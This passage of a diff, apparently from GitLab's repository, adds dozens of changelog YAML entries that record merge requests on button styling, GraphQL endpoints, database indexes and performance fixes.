@@ -0,0 +1,5 @@
+---
+title: Externalise strings in admin/users/_head.html.haml
+merge_request: 58101
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-viewers-_empty-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-viewers-_empty-html-haml.yml
new file mode 100644
index 00000000000..6793e6c07f8
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-viewers-_empty-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalizes strings in viewers/_empty.html.haml
+merge_request: 58451
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/ab-drop-non-partitioned-audit-events.yml b/changelogs/unreleased/ab-drop-non-partitioned-audit-events.yml
new file mode 100644
index 00000000000..108b3c890e6
--- /dev/null
+++ b/changelogs/unreleased/ab-drop-non-partitioned-audit-events.yml
@@ -0,0 +1,5 @@
+---
+title: Drop non-partitioned audit_events_archived table
+merge_request: 53880
+author:
+type: other
diff --git a/changelogs/unreleased/ab-remove-async_add_build_failure_todo-feature-flag.yml b/changelogs/unreleased/ab-remove-async_add_build_failure_todo-feature-flag.yml
new file mode 100644
index 00000000000..76b5214d278
--- /dev/null
+++ b/changelogs/unreleased/ab-remove-async_add_build_failure_todo-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Improve performance by moving TODO creation out of the jobs/request path
+merge_request: 59022
+author:
+type: performance
diff --git a/changelogs/unreleased/ab-spam-logs-index.yml b/changelogs/unreleased/ab-spam-logs-index.yml
new file mode 100644
index 00000000000..8711f5cb4f6
--- /dev/null
+++ b/changelogs/unreleased/ab-spam-logs-index.yml
@@ -0,0 +1,5 @@
+---
+title: Add user index on spam logs
+merge_request: 59151
+author:
+type: performance
diff --git a/changelogs/unreleased/ab-track-reltuples.yml b/changelogs/unreleased/ab-track-reltuples.yml
new file mode 100644
index 00000000000..c122e3f5652
--- /dev/null
+++ b/changelogs/unreleased/ab-track-reltuples.yml
@@ -0,0 +1,5 @@
+---
+title: Track total_tuple_count for batched migrations
+merge_request: 58675
+author:
+type: other
diff --git a/changelogs/unreleased/activerecord_empty_query_default_true.yml b/changelogs/unreleased/activerecord_empty_query_default_true.yml
new file mode 100644
index 00000000000..c01d65cf8d3
--- /dev/null
+++ b/changelogs/unreleased/activerecord_empty_query_default_true.yml
@@ -0,0 +1,5 @@
+---
+title: Use empty-query by default to check database connection
+merge_request: 54366
+author: Leandro Gomes @leandrogs
+type: performance
diff --git a/changelogs/unreleased/add-cloud-column-to-licenses.yml b/changelogs/unreleased/add-cloud-column-to-licenses.yml
new file mode 100644
index 00000000000..21cd9c8addf
--- /dev/null
+++ b/changelogs/unreleased/add-cloud-column-to-licenses.yml
@@ -0,0 +1,5 @@
+---
+title: 'Migration: Add cloud column to licenses'
+merge_request: 57781
+author:
+type: added
diff --git a/changelogs/unreleased/add-error-handler-dashboard-activity.yml b/changelogs/unreleased/add-error-handler-dashboard-activity.yml
new file mode 100644
index 00000000000..269121fa9d9
--- /dev/null
+++ b/changelogs/unreleased/add-error-handler-dashboard-activity.yml
@@ -0,0 +1,5 @@
+---
+title: Display error message when dashboard activity fetch fails
+merge_request: 57935
+author:
+type: changed
diff --git a/changelogs/unreleased/add_source_project_target_branch_index_to_merge_request.yml b/changelogs/unreleased/add_source_project_target_branch_index_to_merge_request.yml
new file mode 100644
index 00000000000..6bf231a5da5
--- /dev/null
+++ b/changelogs/unreleased/add_source_project_target_branch_index_to_merge_request.yml
@@ -0,0 +1,5 @@
+---
+title: Add TargetProject And SourceBranch Index To MergeRequest
+merge_request: 57691
+author:
+type: performance
diff --git a/changelogs/unreleased/admin-group-notes.yml b/changelogs/unreleased/admin-group-notes.yml
new file mode 100644
index 00000000000..dda7628336c
--- /dev/null
+++ b/changelogs/unreleased/admin-group-notes.yml
@@ -0,0 +1,5 @@
+---
+title: Allow admin users to define admin notes on groups.
+merge_request: 47825
+author:
+type: added
diff --git a/changelogs/unreleased/afontaine-add-username-to-email-from.yml b/changelogs/unreleased/afontaine-add-username-to-email-from.yml
new file mode 100644
index 00000000000..062bc91095a
--- /dev/null
+++ b/changelogs/unreleased/afontaine-add-username-to-email-from.yml
@@ -0,0 +1,5 @@
+---
+title: Add Username to Email From Header in Notifications
+merge_request: 56588
+author:
+type: changed
diff --git a/changelogs/unreleased/afontaine-edit-deploy-freeze.yml b/changelogs/unreleased/afontaine-edit-deploy-freeze.yml
new file mode 100644
index 00000000000..fdb1cf09c88
--- /dev/null
+++ b/changelogs/unreleased/afontaine-edit-deploy-freeze.yml
@@ -0,0 +1,5 @@
+---
+title: Add Ability to Edit Freeze Periods
+merge_request: 56407
+author:
+type: added
diff --git a/changelogs/unreleased/afontaine-make-discussions-from-emails.yml b/changelogs/unreleased/afontaine-make-discussions-from-emails.yml
new file mode 100644
index 00000000000..98cbf8380f4
--- /dev/null
+++ b/changelogs/unreleased/afontaine-make-discussions-from-emails.yml
@@ -0,0 +1,5 @@
+---
+title: Allow Email Replies to Notes to Create Discussions
+merge_request: 56711
+author:
+type: changed
diff --git a/changelogs/unreleased/ajk-36098-fix-excessive-db-activity-in-mr-assign-mutation.yml b/changelogs/unreleased/ajk-36098-fix-excessive-db-activity-in-mr-assign-mutation.yml
new file mode 100644
index 00000000000..5f6acc87b2a
--- /dev/null
+++ b/changelogs/unreleased/ajk-36098-fix-excessive-db-activity-in-mr-assign-mutation.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce number of queries in mergeRequestSetAssignees GraphQL mutation
+merge_request: 57523
+author:
+type: performance
diff --git a/changelogs/unreleased/ajk-add-user-mr-interaction.yml b/changelogs/unreleased/ajk-add-user-mr-interaction.yml
new file mode 100644
index 00000000000..d9f6f0615e9
--- /dev/null
+++ b/changelogs/unreleased/ajk-add-user-mr-interaction.yml
@@ -0,0 +1,5 @@
+---
+title: Add user-merge request interaction type
+merge_request: 54588
+author:
+type: added
diff --git a/changelogs/unreleased/ajk-gitlab-docs-deprecation-use-schema-types.yml b/changelogs/unreleased/ajk-gitlab-docs-deprecation-use-schema-types.yml
new file mode 100644
index 00000000000..2f1eb48753a
--- /dev/null
+++ b/changelogs/unreleased/ajk-gitlab-docs-deprecation-use-schema-types.yml
@@ -0,0 +1,5 @@
+---
+title: Change the way deprecation information is presented in GraphQL documentation
+merge_request: 56864
+author:
+type: changed
diff --git a/changelogs/unreleased/ajk-graphql-ci-jobs.yml b/changelogs/unreleased/ajk-graphql-ci-jobs.yml
new file mode 100644
index 00000000000..396e06ae0ed
--- /dev/null
+++ b/changelogs/unreleased/ajk-graphql-ci-jobs.yml
@@ -0,0 +1,5 @@
+---
+title: Adds CI pipeline and job features to GraphQL API
+merge_request: 44703
+author:
+type: changed
diff --git a/changelogs/unreleased/ak-fix-registration-token.yml b/changelogs/unreleased/ak-fix-registration-token.yml
new file mode 100644
index 00000000000..5c40f8072b3
--- /dev/null
+++ b/changelogs/unreleased/ak-fix-registration-token.yml
@@ -0,0 +1,5 @@
+---
+title: Remove programmatic access to registration tokens
+merge_request: 57524
+author:
+type: changed
diff --git a/changelogs/unreleased/align-center-subproject.yml b/changelogs/unreleased/align-center-subproject.yml
new file mode 100644
index 00000000000..96854a752a2
--- /dev/null
+++ b/changelogs/unreleased/align-center-subproject.yml
@@ -0,0 +1,5 @@
+---
+title: Align project stars and date to center of project in groups page
+merge_request: 57972
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/api-compare-across-projects.yml b/changelogs/unreleased/api-compare-across-projects.yml
new file mode 100644
index 00000000000..6efa9d88082
--- /dev/null
+++ b/changelogs/unreleased/api-compare-across-projects.yml
@@ -0,0 +1,6 @@
+---
+title: "'/projects/:id/repository/compare' supports comparing branches/commits on
+ different projects."
+merge_request: 57418
+author: Exchizz (@Exchizz)
+type: added
diff --git a/changelogs/unreleased/ar-approval-settings-header.yml b/changelogs/unreleased/ar-approval-settings-header.yml
new file mode 100644
index 00000000000..0a10bcaa06a
--- /dev/null
+++ b/changelogs/unreleased/ar-approval-settings-header.yml
@@ -0,0 +1,5 @@
+---
+title: Updated MR Approvals to specify settings section
+merge_request: 54985
+author:
+type: other
diff --git a/changelogs/unreleased/assignee-push-option.yml b/changelogs/unreleased/assignee-push-option.yml
new file mode 100644
index 00000000000..b33e7d7a1ce
--- /dev/null
+++ b/changelogs/unreleased/assignee-push-option.yml
@@ -0,0 +1,5 @@
+---
+title: Support adding and removing assignees w/ push opts
+merge_request: 25904
+author:
+type: added
diff --git a/changelogs/unreleased/be-test-report-summary-graphql.yml b/changelogs/unreleased/be-test-report-summary-graphql.yml
new file mode 100644
index 00000000000..5c2eb3a0178
--- /dev/null
+++ b/changelogs/unreleased/be-test-report-summary-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Add GraphQL endpoint for test report summary for pipelines
+merge_request: 58596
+author:
+type: added
diff --git a/changelogs/unreleased/be-test-suite-graphql.yml b/changelogs/unreleased/be-test-suite-graphql.yml
new file mode 100644
index 00000000000..e333ea84512
--- /dev/null
+++ b/changelogs/unreleased/be-test-suite-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Add GraphQL endpoint for a specific test suite in pipelines
+merge_request: 58924
+author:
+type: added
diff --git a/changelogs/unreleased/board-view-deprecated-button.yml b/changelogs/unreleased/board-view-deprecated-button.yml
new file mode 100644
index 00000000000..cecba250aac
--- /dev/null
+++ b/changelogs/unreleased/board-view-deprecated-button.yml
@@ -0,0 +1,5 @@
+---
+title: Replace deprecated buttons on board view
+merge_request: 58153
+author:
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-alerts.yml b/changelogs/unreleased/btn-confirm-alerts.yml
new file mode 100644
index 00000000000..6a1e2b5cea8
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-alerts.yml
@@ -0,0 +1,5 @@
+---
+title: Move to confirm variant from success in alert_management directory
+merge_request: 56206
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-blob.yml b/changelogs/unreleased/btn-confirm-blob.yml
new file mode 100644
index 00000000000..e8cd5e8a848
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-blob.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in blob directory
+merge_request: 56213
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-devise.yml b/changelogs/unreleased/btn-confirm-devise.yml
new file mode 100644
index 00000000000..1855f9d97d0
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-devise.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm from btn-success in devise directory
+merge_request: 58035
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-download-dir.yml b/changelogs/unreleased/btn-confirm-download-dir.yml
new file mode 100644
index 00000000000..5d438939d17
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-download-dir.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm in download directory dropdown
+merge_request: 56193
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-feature-flags.yml b/changelogs/unreleased/btn-confirm-feature-flags.yml
new file mode 100644
index 00000000000..999c042845b
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-feature-flags.yml
@@ -0,0 +1,5 @@
+---
+title: Move to confirm variant from success in feature_flags directory
+merge_request: 56202
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-geo.yml b/changelogs/unreleased/btn-confirm-geo.yml
new file mode 100644
index 00000000000..5a37e360da9
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-geo.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm from btn-success in geo directory
+merge_request: 58031
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-invites.yml b/changelogs/unreleased/btn-confirm-invites.yml
new file mode 100644
index 00000000000..18ad1d83af6
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-invites.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm from btn-success in views/invites directory
+merge_request: 55293
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-licenses.yml b/changelogs/unreleased/btn-confirm-licenses.yml
new file mode 100644
index 00000000000..97254cbb240
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-licenses.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm from btn-success in licenses directory
+merge_request: 58024
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-logs.yml b/changelogs/unreleased/btn-confirm-logs.yml
new file mode 100644
index 00000000000..8da1dddbad2
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-logs.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in logs directory
+merge_request: 56211
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-metrics.yml b/changelogs/unreleased/btn-confirm-metrics.yml
new file mode 100644
index 00000000000..3eacced3041
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in environments directory
+merge_request: 56212
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-pipeline_editor.yml b/changelogs/unreleased/btn-confirm-pipeline_editor.yml
new file mode 100644
index 00000000000..6484bf76655
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-pipeline_editor.yml
@@ -0,0 +1,5 @@
+---
+title: Move to confirm varient from success in pipeline_editor directory
+merge_request: 56200
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-pipeline_new.yml b/changelogs/unreleased/btn-confirm-pipeline_new.yml
new file mode 100644
index 00000000000..d38b582ec07
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-pipeline_new.yml
@@ -0,0 +1,5 @@
+---
+title: Move to confirm variant from success in pipeline_new directory
+merge_request: 56199
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-branches.yml b/changelogs/unreleased/btn-confirm-project-branches.yml
new file mode 100644
index 00000000000..343a133b97b
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-branches.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in branches directory
+merge_request: 56325
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-cleanup.yml b/changelogs/unreleased/btn-confirm-project-cleanup.yml
new file mode 100644
index 00000000000..3555adeb975
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-cleanup.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in cleanup directory
+merge_request: 56329
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-default-branch.yml b/changelogs/unreleased/btn-confirm-project-default-branch.yml
new file mode 100644
index 00000000000..659674079f8
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-default-branch.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in default_branch directory
+merge_request: 56330
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-deploy-forks.yml b/changelogs/unreleased/btn-confirm-project-deploy-forks.yml
new file mode 100644
index 00000000000..a0d0c16e9f9
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-deploy-forks.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in forks directory
+merge_request: 56333
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-deploy-keys.yml b/changelogs/unreleased/btn-confirm-project-deploy-keys.yml
new file mode 100644
index 00000000000..5379cf2364f
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-deploy-keys.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in deploy_keys directory
+merge_request: 56331
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-hooks.yml b/changelogs/unreleased/btn-confirm-project-hooks.yml
new file mode 100644
index 00000000000..a69db9ba302
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-hooks.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in hooks directory
+merge_request: 56334
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-imports.yml b/changelogs/unreleased/btn-confirm-project-imports.yml
new file mode 100644
index 00000000000..2c0b792f6a1
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-imports.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in imports directory
+merge_request: 56336
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-network.yml b/changelogs/unreleased/btn-confirm-project-network.yml
new file mode 100644
index 00000000000..feaa19d6e67
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-network.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in network directory
+merge_request: 56345
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-project-settings.yml b/changelogs/unreleased/btn-confirm-project-settings.yml
new file mode 100644
index 00000000000..c92b004c918
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-project-settings.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm from btn-success in ee project settings
+merge_request: 58047
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-projects-services.yml b/changelogs/unreleased/btn-confirm-projects-services.yml
new file mode 100644
index 00000000000..87c6d511d87
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-projects-services.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in projects/services directory
+merge_request: 56937
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-projects-settings.yml b/changelogs/unreleased/btn-confirm-projects-settings.yml
new file mode 100644
index 00000000000..84531f61c07
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-projects-settings.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in projects/settings directory
+merge_request: 56938
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-projects-snippets.yml b/changelogs/unreleased/btn-confirm-projects-snippets.yml
new file mode 100644
index 00000000000..1766609abc5
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-projects-snippets.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in projects/snippets directory
+merge_request: 56939
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-projects-tags.yml b/changelogs/unreleased/btn-confirm-projects-tags.yml
new file mode 100644
index 00000000000..830f59b70c6
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-projects-tags.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in projects/tags directory
+merge_request: 56940
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-projects.yml b/changelogs/unreleased/btn-confirm-projects.yml
new file mode 100644
index 00000000000..983f72531be
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-projects.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in projects directory
+merge_request: 56943
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-protected-branches.yml b/changelogs/unreleased/btn-confirm-protected-branches.yml
new file mode 100644
index 00000000000..e39494df273
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-protected-branches.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in protected_branches directory
+merge_request: 56477
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-protected-tags.yml b/changelogs/unreleased/btn-confirm-protected-tags.yml
new file mode 100644
index 00000000000..4429eaf21e8
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-protected-tags.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in protected_tags directory
+merge_request: 56478
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-push-rules.yml b/changelogs/unreleased/btn-confirm-push-rules.yml
new file mode 100644
index 00000000000..41ede801659
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-push-rules.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm from btn-success in push_rules directory
+merge_request: 58033
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-quotas.yml b/changelogs/unreleased/btn-confirm-quotas.yml
new file mode 100644
index 00000000000..98ac7e20abd
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-quotas.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm from btn-success in pipelines quotas page
+merge_request: 57861
+author: Yogi (@yo)
+type: other
diff --git a/changelogs/unreleased/btn-confirm-registrations.yml b/changelogs/unreleased/btn-confirm-registrations.yml
new file mode 100644
index 00000000000..6c4aaf31a1a
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-registrations.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in registrations directory
+merge_request: 56944
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-runners.yml b/changelogs/unreleased/btn-confirm-runners.yml
new file mode 100644
index 00000000000..096c689445f
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-runners.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in runners directory
+merge_request: 56485
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-schedules.yml b/changelogs/unreleased/btn-confirm-schedules.yml
new file mode 100644
index 00000000000..d3bc28d3555
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-schedules.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in pipeline_schedules directory
+merge_request: 56201
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-tracing.yml b/changelogs/unreleased/btn-confirm-tracing.yml
new file mode 100644
index 00000000000..3b3f84ce73f
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-tracing.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in tracings directory
+merge_request: 56209
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-user-settings.yml b/changelogs/unreleased/btn-confirm-user-settings.yml
new file mode 100644
index 00000000000..2762b2db139
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-user-settings.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in app/views/profiles directory
+merge_request: 54748
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-users.yml b/changelogs/unreleased/btn-confirm-users.yml
new file mode 100644
index 00000000000..2ebab7cea7d
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-users.yml
@@ -0,0 +1,5 @@
+---
+title: Move from btn-success to btn-confirm in users directory
+merge_request: 56945
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-vulnerabilities.yml b/changelogs/unreleased/btn-confirm-vulnerabilities.yml
new file mode 100644
index 00000000000..d719ad3fbe9
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-vulnerabilities.yml
@@ -0,0 +1,5 @@
+---
+title: Move to confirm variant for buttons in vulnerabilities page
+merge_request: 57961
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-confirm-wiki.yml b/changelogs/unreleased/btn-confirm-wiki.yml
new file mode 100644
index 00000000000..a431976afc3
--- /dev/null
+++ b/changelogs/unreleased/btn-confirm-wiki.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-confirm from btn-primary in wiki empty state
+merge_request: 56192
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-danger-apps.yml b/changelogs/unreleased/btn-danger-apps.yml
new file mode 100644
index 00000000000..1da4ff43ff9
--- /dev/null
+++ b/changelogs/unreleased/btn-danger-apps.yml
@@ -0,0 +1,5 @@
+---
+title: Move to btn-danger for delete button in applications
+merge_request: 56088
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-default-filepicker.yml b/changelogs/unreleased/btn-default-filepicker.yml
new file mode 100644
index 00000000000..17becdea9da
--- /dev/null
+++ b/changelogs/unreleased/btn-default-filepicker.yml
@@ -0,0 +1,5 @@
+---
+title: Add btn-default class for file picker button
+merge_request: 58238
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-default-mirror-update.yml b/changelogs/unreleased/btn-default-mirror-update.yml
new file mode 100644
index 00000000000..5b416c33405
--- /dev/null
+++ b/changelogs/unreleased/btn-default-mirror-update.yml
@@ -0,0 +1,5 @@
+---
+title: Add btn-default for mirror update button
+merge_request: 57978
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-default-sd-toggle.yml b/changelogs/unreleased/btn-default-sd-toggle.yml
new file mode 100644
index 00000000000..ded6ea651e7
--- /dev/null
+++ b/changelogs/unreleased/btn-default-sd-toggle.yml
@@ -0,0 +1,5 @@
+---
+title: Add btn-default class for Service Desk toggle in settings
+merge_request: 56195
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-default-templates.yml b/changelogs/unreleased/btn-default-templates.yml
new file mode 100644
index 00000000000..74680b289fc
--- /dev/null
+++ b/changelogs/unreleased/btn-default-templates.yml
@@ -0,0 +1,5 @@
+---
+title: Add btn-default class for toggle button in admin templates
+merge_request: 58041
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-icon-gpg-delete.yml b/changelogs/unreleased/btn-icon-gpg-delete.yml
new file mode 100644
index 00000000000..c4b21e3899e
--- /dev/null
+++ b/changelogs/unreleased/btn-icon-gpg-delete.yml
@@ -0,0 +1,5 @@
+---
+title: Add btn-icon class for GPG key delete button
+merge_request: 57974
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/btn-sm-revoke.yml b/changelogs/unreleased/btn-sm-revoke.yml
new file mode 100644
index 00000000000..7f8f74568a5
--- /dev/null
+++ b/changelogs/unreleased/btn-sm-revoke.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce button size for revoke button in PAT page
+merge_request: 57989
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/bulk-update-user-todos-count-cache.yml b/changelogs/unreleased/bulk-update-user-todos-count-cache.yml
new file mode 100644
index 00000000000..5412f194752
--- /dev/null
+++ b/changelogs/unreleased/bulk-update-user-todos-count-cache.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid N+1 query when updating todo count cache
+merge_request: 57622
+author:
+type: performance
diff --git a/changelogs/unreleased/bw-iteration-globalid.yml b/changelogs/unreleased/bw-iteration-globalid.yml
new file mode 100644
index 00000000000..cb7698b7064
--- /dev/null
+++ b/changelogs/unreleased/bw-iteration-globalid.yml
@@ -0,0 +1,5 @@
+---
+title: Allow a Global ID to be used when filtering issue by iterationId in GraphQL
+merge_request: 57620
+author:
+type: changed
diff --git a/changelogs/unreleased/byo_prom.yml b/changelogs/unreleased/byo_prom.yml
new file mode 100644
index 00000000000..14b154798ea
--- /dev/null
+++ b/changelogs/unreleased/byo_prom.yml
@@ -0,0 +1,5 @@
+---
+title: Ability to add Prometheus as cluster integration
+merge_request: 55244
+author:
+type: added
diff --git a/changelogs/unreleased/cache-mr-count-on-milestone-page.yml b/changelogs/unreleased/cache-mr-count-on-milestone-page.yml
new file mode 100644
index 00000000000..d03ebdb3497
--- /dev/null
+++ b/changelogs/unreleased/cache-mr-count-on-milestone-page.yml
@@ -0,0 +1,5 @@
+---
+title: Cache MRs count on milestone page
+merge_request: 57714
+author:
+type: performance
diff --git a/changelogs/unreleased/candrews-master-patch-98104.yml b/changelogs/unreleased/candrews-master-patch-98104.yml
new file mode 100644
index 00000000000..87f868df920
--- /dev/null
+++ b/changelogs/unreleased/candrews-master-patch-98104.yml
@@ -0,0 +1,5 @@
+---
+title: "Add CI_COMMIT_AUTHOR predefined variable"
+merge_request: 56144
+author: Craig Andrews @candrews
+type: added
diff --git a/changelogs/unreleased/center-icons-text.yml b/changelogs/unreleased/center-icons-text.yml
new file mode 100644
index 00000000000..092b018a9cc
--- /dev/null
+++ b/changelogs/unreleased/center-icons-text.yml
@@ -0,0 +1,5 @@
+---
+title: Remove vertical-align-middle from user location and work in profile
+merge_request: 58554
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/change-json-validation.yml b/changelogs/unreleased/change-json-validation.yml
new file mode 100644
index 00000000000..a86233004ea
--- /dev/null
+++ b/changelogs/unreleased/change-json-validation.yml
@@ -0,0 +1,5 @@
+---
+title: Stop using json-schema gem for production
+merge_request: 56745
+author:
+type: other
diff --git a/changelogs/unreleased/change-payload-format-for-dora-metrics.yml b/changelogs/unreleased/change-payload-format-for-dora-metrics.yml
new file mode 100644
index 00000000000..4a8d1db3457
--- /dev/null
+++ b/changelogs/unreleased/change-payload-format-for-dora-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Improve payload format of DORA metrics API
+merge_request: 57314
+author:
+type: added
diff --git a/changelogs/unreleased/changelog-tag-regex.yml b/changelogs/unreleased/changelog-tag-regex.yml
new file mode 100644
index 00000000000..635f4ad5b80
--- /dev/null
+++ b/changelogs/unreleased/changelog-tag-regex.yml
@@ -0,0 +1,5 @@
+---
+title: Support custom tag formats for changelogs
+merge_request: 56889
+author:
+type: added
diff --git a/changelogs/unreleased/changelog.yml b/changelogs/unreleased/changelog.yml
new file mode 100644
index 00000000000..ce69088375a
--- /dev/null
+++ b/changelogs/unreleased/changelog.yml
